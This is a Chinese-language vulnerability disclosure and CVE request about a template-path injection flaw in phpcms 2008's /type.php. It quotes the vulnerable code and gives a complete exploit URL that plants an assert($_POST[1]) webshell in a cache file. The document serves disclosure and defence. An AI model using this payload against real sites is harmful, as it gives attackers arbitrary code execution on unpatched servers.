最近我们在 phpcms 2008 源代码的 /type.php 中发现了一个漏洞。当攻击者发送特制请求如 "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss" 时,恶意内容(本例中为 "@unlink(FILE);assert($_POST[1]);")将被写入 phpcms 2008 网站的缓存文件(本例中为 "/cache_template/rss.tpl.php")。
/type.php 中有以下代码:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
而 template() 在 /include/global.func.php 中定义,代码如下:
template_compile($module, $template, $istag);
接着它调用 template_compile(),该函数在 /include/template.func.php 中定义如下:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
在攻击载荷中,$template 被设置为 "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss"。
因此传递给 file_put_contents() 的完整路径现在为 "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php",PHP 会将其解析为 "data/cache_template/rss.tpl.php"。而内容 "@unlink(FILE);assert($_POST[1]);" 将被写入该文件,攻击者随后可利用该文件作为 webshell 执行任意代码。
问题的根本原因在于 $template 变量在用作文件路径和文件内容的一部分之前未经过滤。
我们已通过官方网站上的方式联系了 phpcms 的供应商,但电话无法接通,留言无人回复。Phpcms 2008 不是 phpcms 的最新版本,但许多用户仍在使用该版本。我们发现的漏洞此前从未被发现或分配 CVE。请为该漏洞分配一个 CVE 编号,以便我们能够警告用户。